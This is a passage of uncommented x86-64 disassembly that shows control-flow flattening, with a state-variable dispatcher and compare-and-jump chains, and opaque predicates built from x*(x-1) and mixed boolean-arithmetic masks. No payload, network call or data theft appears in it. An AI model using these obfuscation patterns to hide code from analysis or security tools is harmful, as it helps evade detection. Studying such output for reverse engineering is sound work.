and esi, 0xb2425092
and edx, 0x4dbdaf6d
or edx, esi
xor edx, edi
not ecx
or ecx, edx
not ecx
mov eax, ecx
and eax, ebx
xor ecx, ebx
or ecx, eax
cmp ecx, 0xffffffff
sete r9b
setne r10b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg al
mov ecx, r10d
xor cl, r9b
and cl, r10b
mov ebx, edx
and bl, cl
not cl
and cl, al
or cl, bl
and r10b, dl
or dl, r9b
xor dl, 1
and al, r9b
or al, r10b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x79b93cf
mov ebx, 0xcdfeeaf
cmovne eax, ebx
test dl, dl
mov edx, 0x79b93cf
jmp 0x14019d83c
cmp eax, 0xcdd99105
jg 0x140193ae3
cmp eax, 0xcd84b8c8
je 0x140199951
cmp eax, 0xcdb63d03
jne 0x14016c950
mov eax, 0xa34ba53f
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xadf5c140
jg 0x140193b5b
cmp eax, 0xacd451a6
je 0x140199b20
cmp eax, 0xad3c1270
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x60200207
mov ebx, ecx
and ebx, 0x3040188
or ebx, edx
xor ebx, 0x3040188
and ecx, 0x9cdbfc70
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xde0f121b
and ecx, 0x21f0ede4
or ecx, edx
mov edx, ecx
xor edx, 0x54c048
mov ebx, ecx
xor ebx, 0xbd2b1194
mov edi, ebx
and edi, 0xdaab2ea3
and edx, 0x2554d15c
or edx, edi
mov edi, edx
not edi
and edi, 0x6c88d92c
and edx, 0x937726d3
or edx, edi
xor edx, 0x49dc0871
and ebx, 1
xor ecx, 0xbd2b1195
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xbedeebcf
and ecx, 0x41211430
or ecx, ebx
xor ecx, 0x41211430
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
or dl, bl
or bl, r8b
xor bl, 1
or bl, cl
xor dl, 1
or al, r8b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x6cda7872
mov ebx, 0x47c33fcd
cmovne eax, ebx
test cl, 1
mov ecx, eax
cmovne ecx, ebx
jmp 0x14019f0fe
cmp eax, 0xeff59f28
jg 0x140193c98
cmp eax, 0xefd3bb67
je 0x140199c34
cmp eax, 0xefe23806
jne 0x14016c950
mov eax, 0x5f5fbd8d
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x8bfa1210
jg 0x140193cc3
cmp eax, 0x8b49799e
je 0x140199d36
cmp eax, 0x8b6785c9
jne 0x14016c950
mov eax, 0xab988a6
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xc5c0abfb
jg 0x140193cee
cmp eax, 0xc5203e76
je 0x140199ed2
cmp eax, 0xc57337e6
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0x6f33536e
mov ebx, edi
and ebx, 0x90ccac90
or ebx, ecx
xor ebx, 0x90ccac90
mov ecx, edi
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xbdf7ad00
and ecx, 0x420852ff
or ecx, ebx
mov ebx, ecx
xor ebx, 0x208425a
xor ecx, 0xbdf7ad00
mov esi, ecx
and esi, 0xddf5bda5
and ebx, 0x220a425a
or ebx, esi
or ecx, edi
and edi, 0xddf5bda5
and edx, 0x220a425a
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf1e551d0
and ecx, 0xe1aae2f
or ecx, edx
xor ecx, 0xe1aae2f
setne cl
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and cl, al
or al, dl
xor al, 1
and bl, dl
or bl, cl
mov ecx, eax
and cl, bl
xor al, bl
or al, cl
mov ecx, eax
not cl
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
xor bl, 1
and bl, cl
or al, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x7405b08f
mov ebx, 0xc2feec06
cmovne ecx, ebx
test al, al
mov eax, ecx
cmovne eax, ebx
jmp 0x1401a14d9
cmp eax, 0xa675819d
jg 0x140193e32
cmp eax, 0xa63321e9
je 0x140199fe6
cmp eax, 0xa6556530
jne 0x14016c950
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
not eax
mov edx, eax
and edx, 0x11a60800
mov ebx, edi
and ebx, 0x480004b6
or ebx, edx
xor ebx, 0x480004b6
mov edx, edi
xor edx, 0x59a60cb6
and edx, edi
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0x4ff5bdb3
and edx, 0xb00a424c
or edx, ebx
mov ebx, edx
xor ebx, 0x8284859
xor edx, 0x1653b104
mov esi, edx
and esi, 0xf19737a2
and ebx, 0xe68c85d
or ebx, esi
and edi, 0xf19737a2
and eax, 0xe68c85d
or eax, edi
xor eax, ebx
xor edx, eax
test edx, eax
sete r8b
cmp ecx, 0xa
setl dl
cmp ecx, 9
setg bl
mov ecx, ebx
xor cl, r8b
not cl
and cl, r8b
or bl, r8b
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov eax, edx
or al, r8b
xor al, 1
xor dl, r8b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov r8d, edx
xor r8b, 1
mov r9d, ecx
xor r9b, 1
mov ebx, ecx
and bl, r9b
mov eax, edx
and al, r8b
mov r10d, ebx
and r10b, cl
xor bl, cl
or bl, r10b
mov r10d, eax
and r10b, dl
xor al, dl
or al, r10b
mov r10d, ebx
xor r10b, 1
and r10b, al
xor al, 1
and al, bl
or al, r10b
xor r9b, r8b
or dl, cl
xor dl, 1
or dl, r9b
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0xb4d1aa88
mov ebx, 0xc5c0abfc
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0xb4d1aa88
jmp 0x1401a0e8b
cmp eax, 0xe6d60159
jg 0x140193e5d
cmp eax, 0xe66de1ff
je 0x140199ffb
cmp eax, 0xe6c130d4
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea r9d, [rcx - 1]
imul r9d, ecx
mov ecx, r9d
not ecx
mov edi, ecx
and edi, 0xcfbfdb6c
mov edx, r9d
and edx, 0x30402493
or edx, edi
mov edi, edx
xor edi, 0x2492
xor edx, 0xcfbfdb6c
mov ebx, r9d
xor ebx, 0xfffffffe
and ebx, r9d
or edx, 1
mov eax, ebx
not eax
mov esi, edx
and esi, 0xfd7b934c
and edi, 0x2846cb2
or edi, esi
or edx, eax
and eax, 0xfd7b934c
and ebx, 0x2846cb3
or ebx, eax
xor ebx, edi
not edx
or edx, ebx
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xf96e05c9
and edx, 0x691fa36
or edx, ebx
and r9d, 0xf96e05c9
and ecx, 0x691fa36
or ecx, r9d
xor ecx, edx
xor eax, ecx
test eax, ecx
setne r10b
sete cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg r8b
mov ebx, r8d
xor bl, cl
xor r8b, bl
and r8b, bl
or r10b, r9b
xor cl, r9b
and cl, r9b
xor cl, 1
mov eax, r10d
xor al, cl
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
mov ebx, ecx
mov edx, r8d
or cl, r8b
xor r8b, 1
xor al, 1
and bl, r8b
and dl, al
or dl, bl
xor al, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xa34ba53f
mov ebx, 0xcdb63d03
cmovne ecx, ebx
test dl, dl
cmove ecx, ebx
test al, 1
mov eax, 0xa34ba53f
jmp 0x1401a26bd
cmp eax, 0x99ba1185
jg 0x140193e88
cmp eax, 0x9938c956
je 0x14019a010
cmp eax, 0x995df926
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xca74198c
and edx, ecx
and ecx, 0x358be673
or ecx, ebx
mov ebx, ecx
xor ebx, 0x2488a623
xor ecx, 0xca74198c
mov edi, edx
not edi
mov esi, ecx
and esi, 0x5353515c
and ebx, 0xacacaea3
or ebx, esi
or ecx, edi
and edi, 0x5353515c
and edx, 0xacacaea3
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x709583be
and edx, ecx
and ecx, 0x8f6a7c41
or ecx, ebx
xor ecx, 0x8f6a7c41
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, 0xaa72afe8
and edx, 0x558d5017
or edx, ecx
xor edx, 0xaa72afe8
cmp edx, 0xffffffff
setne r8b
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and r8b, al
or al, dl
xor al, 1
or al, cl
xor al, 1
and bl, dl
or bl, r8b
xor bl, al
mov ecx, ebx
not cl
and cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xfbe3ad5c
mov edi, 0x7766a1aa
cmovne eax, edi
test bl, bl
mov edx, eax
cmovne edx, edi
test cl, cl
jmp 0x1401a0e8b
cmp eax, 0xd63e47a9
jg 0x140193ffc
cmp eax, 0xd5fc88d2
je 0x14019a0e3
cmp eax, 0xd622a357
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov r9d, ebx
not r9d
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov edx, ebx
or edx, 1
mov esi, ecx
not esi
mov eax, edx
and eax, 0xf9c948a0
mov edi, r9d
and edi, 0x636b75e
or edi, eax
or edx, esi
and esi, 0xf9c948a0
and ecx, 0x636b75f
or ecx, esi
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
and r9d, 0x43c85cbc
and ebx, 0xbc37a343
or ebx, r9d
mov ecx, ebx
xor ecx, 0xb0360000
xor ebx, 0x43c85cbc
mov edi, edx
and edi, 0xe41bbff
and eax, 0xf1be4400
or eax, edi
or edx, ebx
and ebx, 0xe41bbff
and ecx, 0xf1be4400
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
cmp edx, 0xffffffff
sete al
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg cl
mov ebx, ecx
and al, cl
and cl, r9b
xor bl, r9b
or bl, cl
and dl, r9b
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor dl, 1
mov r8d, eax
xor r8b, dl
or dl, al
xor dl, 1
or dl, r8b
xor dl, bl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x5d4e1a52
mov ebx, 0x5b664367
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
not al
test al, 1
mov eax, 0x5d4e1a52
jmp 0x14019f4d9
cmp eax, 0xb483c4fb
jg 0x140194149
cmp eax, 0xb402351b
je 0x14019a1e5
cmp eax, 0xb43680a4
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x91400304
mov edx, esi
and edx, 0x207c892
or edx, ebx
xor edx, 0x207c892
mov edi, esi
and edi, 0x6cb83469
or edi, edx
mov edx, edi
not edx
and edx, 0xd346a32c
and edi, 0x2cb95cd3
or edi, edx
mov ebx, edi
xor ebx, 0x8c261704
xor edi, 0x4000003b
and edi, 0x73d8807b
and ebx, 0x8c277f84
or ebx, edi
mov edx, ebx
xor edx, 0x8c267e80
xor ebx, 0x73d8807b
mov edi, ebx
and edi, 0x898157
and edx, 0xff767ea8
or edx, edi
or ebx, esi
and esi, 0x898157
and ecx, 0xff767ea8
or ecx, esi
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x1ce0ece7
and ebx, 0xe31f1318
or ebx, ecx
xor ebx, 0xe31f1318
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and bl, r8b
or bl, dl
xor bl, 1
or bl, al
xor bl, 1
xor al, cl
xor al, bl
mov ecx, eax
xor cl, 1
and bl, cl
xor cl, bl
test al, 1
mov eax, 0xd44a0f64
mov edi, 0x9b25da52
cmovne eax, edi
test bl, 1
mov edx, 0xd44a0f64
cmove eax, edx
test cl, 1
jmp 0x1401a2ccd
cmp eax, 0xfa81600e
jg 0x140194174
cmp eax, 0xf9656496
je 0x14019a1fa
cmp eax, 0xf9937b20
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
or edx, 0x27f92777
mov edi, edx
not edi
or ebx, 0xd806d888
mov ecx, ebx
not ecx
and edx, 0x34b41dc
and edi, 0xd8049800
or edi, edx
and ebx, 0x34b41dc
and ecx, 0x24b02623
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x27f92777
and ecx, 0xd806d888
or ecx, edx
mov r9d, ecx
not r9d
mov edx, ecx
or edx, 0xff5a1217
mov edi, edx
not edi
mov esi, ecx
xor esi, 0xa5ede8
and esi, ecx
mov eax, esi
not eax
mov ebx, edx
and ebx, 0xa4005cd
and edi, 0xa5e820
or edi, ebx
or edx, eax
and eax, 0xa4005cd
and esi, 0xf5bffa32
or esi, eax
xor esi, edi
not edx
or edx, esi
mov eax, edx
not eax
and eax, 0xff5a1216
and edx, 0xa5ede9
or edx, eax
and r9d, 1
xor ecx, 0xfffffffe
or ecx, r9d
mov eax, ecx
not eax
and eax, 0xed399303
and ecx, 0x12c66cfc
or ecx, eax
xor ecx, 0x12c66cfc
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x846f7ad3
and eax, 0x7b90852c
or eax, edi
or ecx, ebx
and ebx, 0x846f7ad3
and edx, 0x7b90852c
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
sete r9b
setne r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl dl
mov ebx, r10d
xor bl, r9b
and bl, r10b
mov eax, ebx
and al, dl
xor bl, 1
and bl, cl
or bl, al
and r10b, dl
or dl, r9b
xor dl, 1
and cl, r9b
or cl, r10b
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
not dl
mov eax, ebx
xor al, 1
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0x12a9be8e
mov edx, 0x8ec5b902
cmovne eax, edx
test bl, bl
cmove eax, edx
test cl, 1
mov ecx, 0x12a9be8e
jmp 0x1401a14db
cmp eax, 0x86e25c8d
jg 0x140194333
cmp eax, 0x86bc1cb6
je 0x14019a3df
cmp eax, 0x86ccbee1
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov r9d, ebx
not r9d
mov edx, ebx
xor edx, 0xcc9ebae
and edx, ebx
mov ecx, ebx
or ecx, 0xf3361451
mov esi, edx
not esi
mov eax, ecx
and eax, 0xa9454ff4
mov edi, r9d
and edi, 0x488a00a
or edi, eax
or ecx, esi
and esi, 0xa9454ff4
and edx, 0x56bab00b
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xdb698948
and ecx, 0x249676b7
or ecx, eax
mov eax, ecx
xor eax, 0x285f9d18
xor ecx, 0xd7a062e7
and r9d, ecx
and eax, ebx
or eax, r9d
xor ecx, eax
test ecx, eax
sete al
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg r8b
mov ecx, edx
and dl, r9b
and r9b, r8b
and cl, al
or cl, r9b
xor cl, 1
or cl, r8b
mov ebx, ecx
xor bl, 1
and al, r8b
or dl, al
and cl, bl
mov eax, ecx
and al, bl
xor cl, bl
or cl, al
xor cl, dl
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0xe01dedac
mov ebx, 0xa2c3ce02
cmovne edx, ebx
test cl, 1
cmove edx, ebx
test al, 1
mov eax, 0xe01dedac
jmp 0x1401a0e8b
cmp eax, 0xc1890fe6
jg 0x14019444b
cmp eax, 0xc1017eb7
je 0x14019a4ef
cmp eax, 0xc13e03dd
jne 0x14016c950
mov eax, 0xcb0ae12c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xa420e199
jg 0x140194596
cmp eax, 0xa3a775ea
je 0x14019a680
cmp eax, 0xa3fd0226
jne 0x14016c950
mov eax, 0x235324f8
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xe1ceaf0b
jg 0x1401946ac
cmp eax, 0xe10b72dc
je 0x14019a762
cmp eax, 0xe1974474
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
mov ecx, ebx
xor ecx, 0x66c76065
and ecx, ebx
not ebx
and ebx, 0x40832005
and edx, 0x26444060
or edx, ebx
xor edx, 0x26444060
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x99389f9a
and ecx, 0x66c76065
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0x22fab6bc
and edx, 0xdd054943
or edx, ebx
xor edx, 0x22fab6bc
xor ecx, edx
test ecx, edx
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov r9d, eax
xor r9b, bl
and bl, cl
and al, r8b
or al, bl
mov ebx, ecx
and bl, r8b
xor cl, r8b
or cl, bl
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
mov edx, r9d
xor dl, cl
and dl, r9b
and cl, r9b
xor r9b, 1
not al
and al, r9b
or cl, al
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0x694924c8
mov edi, 0x9f72fd61
cmovne eax, edi
test dl, dl
mov ecx, 0x694924c8
cmove eax, ecx
test bl, bl
jmp 0x14019277a
cmp eax, 0x96812894
jg 0x14019480c
cmp eax, 0x95a76cb3
je 0x14019a850
cmp eax, 0x96704de0
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xe572bebd
and ecx, 0x1a8d4142
or ecx, edx
mov ebx, ecx
xor ebx, 0xe572bebd
mov edx, ecx
xor edx, 0xdf8c353f
and edx, ebx
or ebx, 0xc501747d
mov edi, ebx
not edi
mov esi, edx
not esi
mov eax, ebx
and eax, 0xdb86534e
and edi, 0x20788880
or edi, eax
or ebx, esi
and esi, 0xdb86534e
and edx, 0x2479acb1
or edx, esi
xor edx, edi
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0xc501747c
and ebx, 0x3afe8b83
or ebx, eax
mov eax, ecx
and eax, 1
xor ecx, 0x1a8d4143
or ecx, eax
mov eax, ecx
not eax
and eax, 0x34eefc67
and ecx, 0xcb110398
or ecx, eax
mov eax, ecx
xor eax, 0x2000298
xor ecx, 0x34eefc67
mov edx, ebx
not edx
mov edi, edx
and edi, 0xe9f15102
and ebx, 0x160eaefd
or ebx, edi
or edx, ecx
and ecx, 0xe9f15102
and eax, 0x160eaefd
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xb041f1c2
and eax, 0x4fbe0e3d
or eax, edi
or edx, ebx
and ebx, 0xb041f1c2
and ecx, 0x4fbe0e3d
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xf15dd3d
and edx, 0xf0ea22c2
or edx, ecx
xor edx, 0xf15dd3d
xor eax, edx
test eax, edx
sete r9b
setne al
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov ecx, eax
and cl, bl
and al, dl
and dl, r9b
or dl, cl
xor dl, 1
or dl, bl
and bl, r9b
or bl, al
mov eax, ebx
and bl, dl
xor dl, 1
xor al, 1
mov ecx, edx
xor cl, al
and cl, dl
and al, dl
or al, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x9a994d14
mov ebx, 0xfc265dbe
cmovne edx, ebx
test al, al
mov eax, edx
cmovne eax, ebx
jmp 0x1401a2f69
cmp eax, 0xd12f45d5
jg 0x140194837
cmp eax, 0xd0a3c1d7
je 0x14019a987
cmp eax, 0xd0d61237
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ecx, edi
or ecx, 0x36e7a7d4
or edx, 1
and edx, 0x36e7a7d5
mov ebx, edi
and ebx, 0xc918582a
or ebx, edx
and ecx, 0x36e7a7d5
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x7a707495
and ecx, 0x858f8b6a
or ecx, edx
xor ecx, 0x858f8b6a
mov edx, ecx
and edx, edi
xor ecx, edi
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
and bl, dl
or bl, r8b
mov ecx, ebx
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, al
xor al, 1
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
xor dl, al
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x80e55a72
mov ebx, 0x75e5c739
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0x80e55a72
jmp 0x1401a26bd
cmp eax, 0xb1e39056
jg 0x140194a12
cmp eax, 0xb0ff5249
je 0x14019aaee
cmp eax, 0xb15c7fc0
jne 0x14016c950
mov eax, 0x69363b61
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xf69bc0a8
jg 0x140194a41
cmp eax, 0xf5f198c9
je 0x14019abf7
cmp eax, 0xf6825e78
jne 0x14016c950
mov eax, 0x79fb0f6b
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x8fb3e10b
jg 0x140194b93
cmp eax, 0x8f441789
je 0x14019ac0c
cmp eax, 0x8f6ea94f
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov eax, edi
and eax, 0xd8115ac8
mov edx, ebx
and edx, 0x27eea536
or edx, eax
xor edx, 0x27eea536
mov eax, ebx
xor eax, 0xfffffffe
and eax, ebx
mov esi, edx
and esi, eax
xor eax, edx
or eax, esi
mov edx, eax
not edx
and edi, edx
and eax, ebx
or eax, edi
not eax
or eax, edx
cmp eax, 0xffffffff
sete r9b
setne r8b
cmp ecx, 0xa
setl al
cmp ecx, 9
setg bl
mov ecx, ebx
xor cl, al
and cl, bl
mov r10d, ecx
xor r10b, 1
mov edx, r10d
and dl, cl
mov ebx, edx
xor bl, 1
xor dl, cl
or bl, r10b
xor bl, 1
or bl, dl
xor bl, r8b
mov ecx, ebx
xor cl, 1
mov edx, eax
or dl, r9b
xor dl, 1
xor al, r9b
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov edx, eax
xor dl, 1
and dl, cl
or cl, al
and al, bl
or al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xe9f1652d
mov ebx, 0x3538db16
cmovne edx, ebx
test al, 1
mov eax, edx
mov ebx, 0xe9f1652d
cmovne eax, ebx
test cl, 1
jmp 0x1401a10d7
cmp eax, 0xc9e2b1a2
jg 0x140194cc7
cmp eax, 0xc9c0b24c
je 0x14019ad11
cmp eax, 0xc9c0cc12
jne 0x14016c950
mov eax, 0xf2ec8b8b
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xaa4dc761
jg 0x140194e30
cmp eax, 0xa9de3a0e
je 0x14019ae81
cmp eax, 0xa9f67294
jne 0x14016c950
mov rax, qword [rbp - 0x68]
mov eax, 0xfb1d8ecc
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xed55021c
jg 0x140194fd7
cmp eax, 0xeca25bf3
je 0x14019ae96
cmp eax, 0xecff3eeb
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov r9d, ecx
not r9d
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
mov edx, ecx
or edx, 1
mov esi, edi
not esi
mov eax, edx
and eax, 0x8d36e0e6
mov ebx, r9d
and ebx, 0x72c91f18
or ebx, eax
or edx, esi
and esi, 0x8d36e0e6
and edi, 0x72c91f19
or edi, esi
xor edi, ebx
not edx
or edx, edi
not edx
and r9d, 0x6e4f7751
and ecx, 0x91b088ae
or ecx, r9d
xor ecx, 0x91b088ae
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xde83c033
and ecx, 0x217c3fcc
or ecx, eax
xor ecx, 0x217c3fcc
sete al
setne cl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl r8b
mov ebx, r8d
xor bl, cl
mov r10d, ebx
xor r10b, r9b
and r10b, bl
or cl, r8b
xor cl, 1
or al, r9b
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, cl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor bl, 1
and bl, r10b
xor r10b, 1
and al, r10b
or bl, al
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov edx, ecx
xor dl, bl
test cl, 1
mov eax, 0x69659d72
mov ecx, 0x599802a7
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, 1
mov ecx, 0x69659d72
jmp 0x1401a14db
cmp eax, 0x9cf6cff6
jg 0x14019509d
cmp eax, 0x9cab557a
je 0x14019aeab
cmp eax, 0x9cc4100c
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
mov ebx, eax
and ebx, 1
or ebx, edx
and ecx, 0x6b4e644a
and eax, 0x94b19bb5
or eax, ecx
mov ecx, eax
xor ecx, 0x94b19bb5
xor eax, 0x6b4e644a
and eax, ebx
not ebx
and ecx, ebx
or eax, ecx
not eax
or eax, ebx
cmp eax, 0xffffffff
sete al
setne cl
cmp dword [0x1402656c4], 0xa
setl bl
xor cl, bl
xor cl, 1
mov edx, ebx
and dl, al
xor bl, al
or dl, bl
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xd079a5ff
mov ebx, 0x35584d3c
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0xd079a5ff
jmp 0x1401a14db
cmp eax, 0xda8f8aaa
jg 0x1401951f1
cmp eax, 0xda6392f3
je 0x14019b00a
cmp eax, 0xda7fe547
jne 0x14016c950
mov eax, 0x9938c956
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xba452a82
jg 0x140195220
cmp eax, 0xb9abb88e
je 0x14019b06c
cmp eax, 0xba38c962
jne 0x14016c950
mov eax, dword [0x1402656c8]
